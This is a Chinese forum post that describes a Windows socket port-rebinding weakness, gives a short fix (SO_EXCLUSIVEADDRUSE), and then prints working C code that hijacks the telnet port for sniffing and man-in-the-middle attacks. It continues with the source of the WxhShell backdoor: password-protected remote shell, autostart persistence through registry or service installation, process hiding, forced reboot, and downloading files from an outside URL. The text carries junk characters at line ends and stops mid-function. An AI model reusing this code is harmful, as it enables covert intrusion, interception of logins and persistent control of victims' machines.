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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: v\Zni4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YNc] x>  
MWv_BXQ  
  saddr.sin_family = AF_INET; s#,~Zb=  
c}iVBN6~.<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yc.Vm[!  
UGuEZ-r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); V[f-Nj Kf  
Ue:'55  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7^|oO~x6  
<3dmY=  
  这意味着什么?意味着可以进行如下的攻击: i6R2R8  
O>)<w Ms`  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2 s,[DC  
v)|[=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2@``=0z  
=M"H~;f]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 tlw$/tMa  
]>R|4K_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  `ReTfz;o  
QJc3@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~b+TkPU   
Qq;` 9-&j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H`/Q hE  
W=T3sp V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5'f4=J$Z)  
Z$R6'EUb1  
  #include /\L|F?+@  
  #include R<VNbm;  
  #include -.A%c(|Q  
  #include    .Ap-<FB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5~T`R~Uqb  
  int main() BKDs3?&  
  { >AsD6]  
  WORD wVersionRequested; )Lht}I ]:  
  DWORD ret; I`"8}d@Jm  
  WSADATA wsaData; E"l&<U  
  BOOL val; rj qX|  
  SOCKADDR_IN saddr; Ju3-ZFUS4  
  SOCKADDR_IN scaddr; J(*q OGBD  
  int err; aY8"Sw|4  
  SOCKET s; l2uh"!  
  SOCKET sc; (vm &&a@  
  int caddsize; sS5 ]d8  
  HANDLE mt; Rk2V[R.`S  
  DWORD tid;   EL!V\J`S_  
  wVersionRequested = MAKEWORD( 2, 2 ); DA)+)PhY7K  
  err = WSAStartup( wVersionRequested, &wsaData ); V{17iRflf  
  if ( err != 0 ) { 8<(qN> R  
  printf("error!WSAStartup failed!\n"); 1PWs">*(  
  return -1; "dfq  
  } "p>$^   
  saddr.sin_family = AF_INET; NNZ%jJy?=,  
   &6fNPD(|  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _EeH  
12 HBq8o  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `]^0lD=eI  
  saddr.sin_port = htons(23); }qy,/<R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~m^.&mv3/  
  { ~ZeF5  
  printf("error!socket failed!\n"); 85; BS'  
  return -1; ' uvTOgP,  
  } M,]C(f>  
  val = TRUE; 3R(GO.n=]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B6)d2O9C  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D Q7+  
  { =}N&c4I[j  
  printf("error!setsockopt failed!\n"); G t 4| ]  
  return -1; fE"Q:K6r2  
  } N9LBji;nH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $ o rN>M42  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^'EeJN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,"?h _NbF  
bJc<FL<E  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Ed[ tmaEuV  
  { Q!DH8'|4?L  
  ret=GetLastError(); L/Cp\|~ O  
  printf("error!bind failed!\n"); g_lj/u]P  
  return -1; n1OxT"tD  
  } .kpL?_  
  listen(s,2); l`9<mL  
  while(1) 3nb&Z_/e  
  { VW^6qf/,  
  caddsize = sizeof(scaddr); ConXP\M-  
  //接受连接请求 )N[9r{3  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]v=*WK  
  if(sc!=INVALID_SOCKET) i^j1 i  
  { 0$)CWah  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +We_[Re`<  
  if(mt==NULL) 0TA{E-A   
  { i0`<`qSQh  
  printf("Thread Creat Failed!\n"); *0>![v  
  break; ^Rr0)4ns  
  } j)4:*R.Z]  
  } +_Nr a  
  CloseHandle(mt); nn>1OO  
  } ""cnZZ5)  
  closesocket(s); +a$'<GvP  
  WSACleanup(); #/fh_S'Z  
  return 0; O~t]:p9_  
  }   `.3!  
  DWORD WINAPI ClientThread(LPVOID lpParam) kO:|?}Koc  
  { aRSGI ja<L  
  SOCKET ss = (SOCKET)lpParam; Yud]s~N  
  SOCKET sc; , 'WhF-  
  unsigned char buf[4096]; w,hl<=:(FB  
  SOCKADDR_IN saddr; ^mWOQ*zi;  
  long num; ]IbX<  
  DWORD val; 7_Yxz$m  
  DWORD ret; >TSPEvWc  
  //如果是隐藏端口应用的话,可以在此处加一些判断  8bQ\7jb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "`P/j+-rt  
  saddr.sin_family = AF_INET; `#O%ZZ+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j#^EZ/  
  saddr.sin_port = htons(23); O$QtZE61  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U5X\RXy~  
  {  lJaR,,  
  printf("error!socket failed!\n"); E(J@A'cX  
  return -1; /.1c <!  
  } Dqss/vwV  
  val = 100; 0V*B3V<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sywSvnPuYZ  
  { *'5 )CC  
  ret = GetLastError(); A-5xgp,  
  return -1; *|)a@V L  
  } <A{|=2<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B/"TaXVU  
  { YbaaX{7^  
  ret = GetLastError(); : utY4  
  return -1; ?y1']GAo  
  } FT.6^)-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }DH3_M!  
  { Y+il>.Z  
  printf("error!socket connect failed!\n"); u6hDjN  
  closesocket(sc); { Ju  
  closesocket(ss); )8`7i{F  
  return -1;  y|r+<  
  } q18IqY*Lo  
  while(1) W?y7mw_S  
  { K%NNw7\A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ZL!,s#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YU=Q`y[k  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >R9Q|   
  num = recv(ss,buf,4096,0); P#^-{;Bu  
  if(num>0) 5u/dr9n  
  send(sc,buf,num,0); ze* =7  
  else if(num==0) =Uy;8et  
  break; tC;L A 4  
  num = recv(sc,buf,4096,0); O~3<P3W  
  if(num>0) :H9\nU1  
  send(ss,buf,num,0); s3nt12  
  else if(num==0) >Z0F n  
  break; xJCMxt2Y  
  } ~Mk{2;x  
  closesocket(ss); B4tC3r  
  closesocket(sc); _~q!<-Z  
  return 0 ; Po(Y',xI[  
  } ug?gVK  
M  ::  
A0mj!P9  
========================================================== ;E,^bt<U  
G$#Q:]N  
下边附上一个代码,,WXhSHELL 'G] P09`*)  
_=%F6}TE  
========================================================== 'gBns  
s &4k  
#include "stdafx.h" <x&0a$I  
ie<zc+*rW  
#include <stdio.h> tX'`4!{@+  
#include <string.h> X#;n Gq)5  
#include <windows.h> w&c6iFMd0  
#include <winsock2.h> }s+ t*z  
#include <winsvc.h> Z;=h=  
#include <urlmon.h> ;v#BguM  
dO?zLc0f  
#pragma comment (lib, "Ws2_32.lib") ;Dh\2! sr  
#pragma comment (lib, "urlmon.lib") z@bq*':~J  
SB1j$6]OR7  
#define MAX_USER   100 // 最大客户端连接数 ;_$Q~X  
#define BUF_SOCK   200 // sock buffer m1pge4*  
#define KEY_BUFF   255 // 输入 buffer %}.4c8  
Iax-~{B3AY  
#define REBOOT     0   // 重启 @`Fv}RY{  
#define SHUTDOWN   1   // 关机 '=s{9lxn^  
^)J2tpr;]=  
#define DEF_PORT   5000 // 监听端口 %@L[=\ 9  
-|z ]Ir  
#define REG_LEN     16   // 注册表键长度 ar&j1""  
#define SVC_LEN     80   // NT服务名长度 }-Ds%L  
`ef C4#*!!  
// 从dll定义API fyt ODsb>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n>t&l8g%g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ni2GZ<1j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m!22tpb  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); % w\   
<K g=?wb  
// wxhshell配置信息 b]0]*<~y  
struct WSCFG { )2z<5 `  
  int ws_port;         // 监听端口 D_SXxP[! g  
  char ws_passstr[REG_LEN]; // 口令 #}PQ !gZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q,ez AE  
  char ws_regname[REG_LEN]; // 注册表键名 t4;eabZK  
  char ws_svcname[REG_LEN]; // 服务名 k kZ2Jxvx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UWW^g@d4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ='W=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y ;/T.W9!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .2Q4EbM2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kC,=E9)O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8=K%7:b  
C33BP}c]  
}; r|MBkpcvp  
1'NJ[ C`  
// default Wxhshell configuration -R]Iu\  
struct WSCFG wscfg={DEF_PORT, vU,V[1^a  
    "xuhuanlingzhe", &6feR#~A  
    1, @d&JtA  
    "Wxhshell", TS_5R>R3  
    "Wxhshell", ^l:~r2  
            "WxhShell Service", PFKl6_(  
    "Wrsky Windows CmdShell Service", aM7e?.rU  
    "Please Input Your Password: ", f]pHJVgFV  
  1, AX%N:)_$|  
  "http://www.wrsky.com/wxhshell.exe", @$Xl*WT7  
  "Wxhshell.exe" @=7[KMb  
    }; k~0#Iy_{M  
r*q  
// 消息定义模块 Z5j\ M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E"O6N.}.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $+k|\+iJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z|F38(%JJN  
char *msg_ws_ext="\n\rExit."; > `1K0?_  
char *msg_ws_end="\n\rQuit."; &%UZ"CcA  
char *msg_ws_boot="\n\rReboot..."; ~xa yGk  
char *msg_ws_poff="\n\rShutdown..."; 1^ijKn@6  
char *msg_ws_down="\n\rSave to "; =.`:jZG  
|Q(3rcOrV"  
char *msg_ws_err="\n\rErr!"; &ir|2"HV  
char *msg_ws_ok="\n\rOK!"; +`J~c|(  
[+F6C  
char ExeFile[MAX_PATH]; bJ"}-s+Dx  
int nUser = 0; :[:*kbWN-  
HANDLE handles[MAX_USER]; q90 ~)n?  
int OsIsNt; G$^u2wz.  
*g*~+B :  
SERVICE_STATUS       serviceStatus; \y(ZeNs  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z<jC,r  
*@VS^JB  
// 函数声明 )krBj F.$  
int Install(void); @tX8M[.eA  
int Uninstall(void); DL*&e|:q  
int DownloadFile(char *sURL, SOCKET wsh); 3v91yMx  
int Boot(int flag); .rw a=IW  
void HideProc(void); >vR7l&"  
int GetOsVer(void); 34 '[O  
int Wxhshell(SOCKET wsl); MpVZL29)  
void TalkWithClient(void *cs); b$eN]L   
int CmdShell(SOCKET sock); 43}uW, P  
int StartFromService(void); [Ot<8)Jm  
int StartWxhshell(LPSTR lpCmdLine); &s(mbpV  
h ^.jK2I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O[|_~v:^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `Hx JE"/  
_ea|E  8  
// 数据结构和表定义 x MFo  
SERVICE_TABLE_ENTRY DispatchTable[] = U>i}C_7g  
{ /u&7!>,  
{wscfg.ws_svcname, NTServiceMain}, *`_ 2uBz  
{NULL, NULL} BM o2t'L  
}; H -K%F_#  
[ KDNKK  
// 自我安装 aKFY&zN?  
int Install(void) G@3Jw[t  
{ K0{ ,*>C  
  char svExeFile[MAX_PATH]; n%ypxY0  
  HKEY key; >g;995tG  
  strcpy(svExeFile,ExeFile); +MtxS l  
7<*,O&![|  
// 如果是win9x系统,修改注册表设为自启动 35H.ZXQp-  
if(!OsIsNt) { aH&Efz^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RhWW61!"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gF2,Jm@"6  
  RegCloseKey(key); zEKVyZd*{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uC! dy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `J$7X  
  RegCloseKey(key); M1q_gHA  
  return 0; KJ7-Vl>  
    } `)tIXMn  
  }  \62!{  
} O'{g{  
else { J)EL<K$Z[  
YmwXA e:  
// 如果是NT以上系统,安装为系统服务 :CsrcT=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6IJH%qUx'  
if (schSCManager!=0) ]P96-x  
{ wu.>'v?y  
  SC_HANDLE schService = CreateService z+K1[1SM  
  ( \iA.{,VX  
  schSCManager, n#5S-z1KNw  
  wscfg.ws_svcname, F@b=S0}K  
  wscfg.ws_svcdisp, n}dLfg *  
  SERVICE_ALL_ACCESS, $T6+6<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )SHB1U25{  
  SERVICE_AUTO_START, A!v:W6yiz  
  SERVICE_ERROR_NORMAL, =u`tlN5pOT  
  svExeFile, @Hl+]arUh  
  NULL, G+t=+T2m  
  NULL, MJA;P7g  
  NULL, XE8%t=V!c$  
  NULL, 2Z-QVwa*U  
  NULL 3*E] :l_  
  ); &W}6Xg(  
  if (schService!=0) cEIs9;  
  { c5Hyja=  
  CloseServiceHandle(schService); 6!C>J#T  
  CloseServiceHandle(schSCManager); M0t9`Z9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K@vU_x0Sl  
  strcat(svExeFile,wscfg.ws_svcname); 9 /=+2SZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i}O.,iH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _`. Q7  
  RegCloseKey(key); !tSh9L;<O  
  return 0; 2;x+#D8  
    } tHEZuoi  
  } I 9<%fv  
  CloseServiceHandle(schSCManager); 4N5\sdi  
} /@1pm/>ZaN  
} nE56A#,Q,  
AYAbq}'Yt  
return 1; p~v0pi  
} P9x':I$  
D,()e^o  
// 自我卸载 6$K@s  
int Uninstall(void) 3:>hHQi  
{ qJJ}, 4}  
  HKEY key; vwzElZ{C:v  
>IipWTVo<  
if(!OsIsNt) { lHFk~Qp[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y@<&A~Cl^  
  RegDeleteValue(key,wscfg.ws_regname); V}ls|B$Y  
  RegCloseKey(key); |'j,|^<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }nptmc  
  RegDeleteValue(key,wscfg.ws_regname); QabLMq@n`  
  RegCloseKey(key); [ @2$W?0i  
  return 0; p || mR  
  } m%b# B>J,n  
} $WO{!R  
} f VJWW):  
else { - LB}=  
rN,T}M= 2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L^=G(op*  
if (schSCManager!=0) &(m01  
{ Hp*N%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); dl(!{tZ#  
  if (schService!=0) 6#Rco%07zI  
  { XRTiC #6  
  if(DeleteService(schService)!=0) { C#B|^A_  
  CloseServiceHandle(schService); 4HpKKhv"  
  CloseServiceHandle(schSCManager); K'y|_XsBB)  
  return 0; fX2OH)6U  
  } Hzz v 6k  
  CloseServiceHandle(schService); X6BOB?  
  } hrGX65>  
  CloseServiceHandle(schSCManager); %/d1x  
} !;K zR&  
} L4ZB0PmN'  
G_M8? G0  
return 1; P-DW@drxF  
} EMDYeXpV  
K)^8 :nt  
// 从指定url下载文件 p(fMM :  
int DownloadFile(char *sURL, SOCKET wsh) 5}b) W>3@`  
{ PsZ>L  
  HRESULT hr; g@.e%  
char seps[]= "/";  $ Tal.  
char *token; \uO^w J}  
char *file; ght3#  
char myURL[MAX_PATH]; SXC 7LJm<g  
char myFILE[MAX_PATH]; &Mz]y?k'  
Ro;I%j  
strcpy(myURL,sURL); v3G$9 (NE;  
  token=strtok(myURL,seps); Gzs$0Ki=  
  while(token!=NULL) r7^v@  
  { 0\, !  
    file=token; 4K 8(H9(  
  token=strtok(NULL,seps); *U$%mZS]1  
  } fe8hgTP|  
FNw]DJ]  
GetCurrentDirectory(MAX_PATH,myFILE); z|t2;j[  
strcat(myFILE, "\\"); 8m?cvI  
strcat(myFILE, file); / <%EKu5  
  send(wsh,myFILE,strlen(myFILE),0); B4 5#-V  
send(wsh,"...",3,0); Ug384RzHN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %m|1LI(  
  if(hr==S_OK) [Zzztn+  
return 0; SM1L^M3)  
else QKhGEW~G  
return 1; /,~g"y.;,  
h lSav?V_  
} @( 0O9L F  
4dm0:, G  
// 系统电源模块 3d,:,f|h  
int Boot(int flag) #hk5z;J5  
{ Q3Y(K\  
  HANDLE hToken; dkqyn"^  
  TOKEN_PRIVILEGES tkp; c?KIHZ0  
#<s"?Y%-  
  if(OsIsNt) { y.s\MWvv>u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ] g8z@r"b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ML0_Uc3en  
    tkp.PrivilegeCount = 1; 'ka$@,s:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9 Q*:II  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g1:%986jv  
if(flag==REBOOT) { 'Hs*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7- C])9  
  return 0; =pTTXo  
} 0{XT#H  
else { j WMTQLE.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *Vg)E*s  
  return 0; _xy[\X;9  
} "rfBYl`  
  } <;uM/vS i  
  else { ?b"'w  
if(flag==REBOOT) { A-J#$B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OJhMM-  
  return 0; )."dqq^ q  
} }Oqt=Wm  
else { kB%.i%9\\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }8s&~f H  
  return 0; _g-0"a{-  
} W Q9Q:F2  
} gVy`||z  
4#:C t* f  
return 1; EXwU{Hl  
} o wI:Qs_/4  
|68u4zK  
// win9x进程隐藏模块 z@ `u$D$n  
void HideProc(void) EWY'E;0@5  
{ ZE= Yn~XM  
*xITMi  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Xbrc_ V\_  
  if ( hKernel != NULL ) EEo I|  
  { _%23L|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Mz86bb^J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VvT7v]  
    FreeLibrary(hKernel); F,Ve,7kh  
  } _Vf>>tuW  
UoUQ6Ij  
return; TtH!5{$s  
} #sk~L21A  
l;&kX6 w  
// 获取操作系统版本 Do5.  
int GetOsVer(void) {oR@'^N  
{ `M(st%@n  
  OSVERSIONINFO winfo; !w@i,zqu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h%NM%;"H/  
  GetVersionEx(&winfo); )]4=anJu@|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u^#e7u  
  return 1; ZHlHnUo  
  else ~B? Wg!  
  return 0; 2$`Y 4b3t  
} zL3zvOhu}  
SoHaGQox  
// 客户端句柄模块 k*!iUz{]  
int Wxhshell(SOCKET wsl) 6eA)d#  
{ I6gduvkXi4  
  SOCKET wsh; YpRhl(|  
  struct sockaddr_in client; SXN]${  
  DWORD myID; @1<VvW=  
0\s&;@xKk  
  while(nUser<MAX_USER) |[>yJXxEL@  
{ da_0{;wR  
  int nSize=sizeof(client); 7+IRI|d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9\T9pjdZE  
  if(wsh==INVALID_SOCKET) return 1; Plhakngj  
@K}h4Yok  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^zS;/%  
if(handles[nUser]==0) Bu+?N%CBi  
  closesocket(wsh); L6;'V5Mg72  
else L GVy4D  
  nUser++; wZW\r!Us  
  } F?0Q AA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y$_]}<b  
 WK@<#  
  return 0; }T AG7U*  
} -_eG/o=M  
$<Y%4LI  
// 关闭 socket OdNcuiLa  
void CloseIt(SOCKET wsh) Zm7, O8  
{ Cud!JpL  
closesocket(wsh); NV@$\ <  
nUser--; m6]6 !_  
ExitThread(0); %DA`.Z9 #  
} 9sd}Z,l  
l4(FM}0X5}  
// 客户端请求句柄 &-X51O C  
void TalkWithClient(void *cs) 8xG"hJR  
{ [Fv,`*/sm  
8.7q -<Q  
  SOCKET wsh=(SOCKET)cs; !^v~hD$_q  
  char pwd[SVC_LEN]; 4x3 _8/=  
  char cmd[KEY_BUFF]; @A(jo32  
char chr[1]; C5$?Y8B3  
int i,j; vy2"B ch  
fakad#O  
  while (nUser < MAX_USER) { 79-5 0}A  
81!;Wt(?  
if(wscfg.ws_passstr) { 1oQbV`P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (I'{ pF)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0>]&9'cn  
  //ZeroMemory(pwd,KEY_BUFF); -mmQ]'.0  
      i=0; kC6Y?g  
  while(i<SVC_LEN) { 4FZ/~Y1}  
H@~tJ\L  
  // 设置超时 gs0`nysM#  
  fd_set FdRead; $#3[Z;\  
  struct timeval TimeOut; `Mcg&Mi~  
  FD_ZERO(&FdRead); 7,V_5M;t  
  FD_SET(wsh,&FdRead); jp@X,HES  
  TimeOut.tv_sec=8; rc~)%M<[2  
  TimeOut.tv_usec=0; ;OD-?bC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H\N} 0^ea  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); x K\i&A  
: yq2 XE%r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6E:H  
  pwd=chr[0]; /C5py&#-I  
  if(chr[0]==0xd || chr[0]==0xa) { bn5O2  
  pwd=0; qt/6o|V  
  break; PMW@xk^<Y  
  } >K1e=SY  
  i++; bFlI:R&<  
    } .;.Zbhm  
p=Le oc1  
  // 如果是非法用户,关闭 socket 4xg1[Z%:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Bss *-K]  
} oIIi_yc  
p>:.js5.a  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?i\V^3S n$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;C , g6{  
FeQo,a  
while(1) { F M YcZ+4  
rd$T6!I  
  ZeroMemory(cmd,KEY_BUFF); GC3d7  
)1R[X!KQ7  
      // 自动支持客户端 telnet标准   @H( 7Mt  
  j=0; QtW e,+WWV  
  while(j<KEY_BUFF) { \F\7*=xk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hN gT/y8  
  cmd[j]=chr[0]; !W0JT#0  
  if(chr[0]==0xa || chr[0]==0xd) { 7.g,&s%q  
  cmd[j]=0; \u[5O@v#  
  break; !8W0XUqh+  
  } CRrEs 18;#  
  j++; a|3+AWL%  
    } >9#) obw  
=?wDQ:  
  // 下载文件 QR8]d1+GV  
  if(strstr(cmd,"http://")) { nGc'xQy0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PU B0H  
  if(DownloadFile(cmd,wsh)) _FS #~z'j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nU\.`.39 +  
  else T2)CiR-b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Us pv^O9_  
  } {TMng&  
  else { qs_cC3"=%=  
uGW#z_{(n  
    switch(cmd[0]) { B> \q!dX3  
  0oBAJP  
  // 帮助 0]]OE+9<c  
  case '?': { ba ,n/yH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NiE`u m  
    break; _ D8 zKp  
  } ;p fN  
  // 安装 FYefn3b  
  case 'i': { H$Pf$D$  
    if(Install()) -~4kh]7%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2e3AmR@*  
    else w T_l>u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4 2-T&7k  
    break; f(!cz,y^\*  
    } xCT2FvX6  
  // 卸载 d/$e#8  
  case 'r': { ",,.xLI7  
    if(Uninstall()) Q^l!cL| {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'xa EG,P  
    else |o(te  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v~._]f$:  
    break; l ^}5PHLd  
    } vMn$lT@  
  // 显示 wxhshell 所在路径 J#iuF'%Ds  
  case 'p': { wq1s#ag<  
    char svExeFile[MAX_PATH]; `w@z Fc!"  
    strcpy(svExeFile,"\n\r"); 5b I4' ;  
      strcat(svExeFile,ExeFile); X(DP=C}v9  
        send(wsh,svExeFile,strlen(svExeFile),0); "@5{=  
    break; `Jj b4]  
    } v{*2F  
  // 重启 |Dq?<Ha  
  case 'b': { Ju;^^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d& v 7l  
    if(Boot(REBOOT)) J<Ki;_=I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O(.eHZ=  
    else { h2:TbQ  
    closesocket(wsh); Bqk+ne  
    ExitThread(0); <+b~E,  
    } ?hIDyM  
    break; s`.J!^u`  
    } <dBz]W  
  // 关机 vQ $"|8,  
  case 'd': { \X]I: 0^j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p#r qe<Ua  
    if(Boot(SHUTDOWN)) >!o!rs  
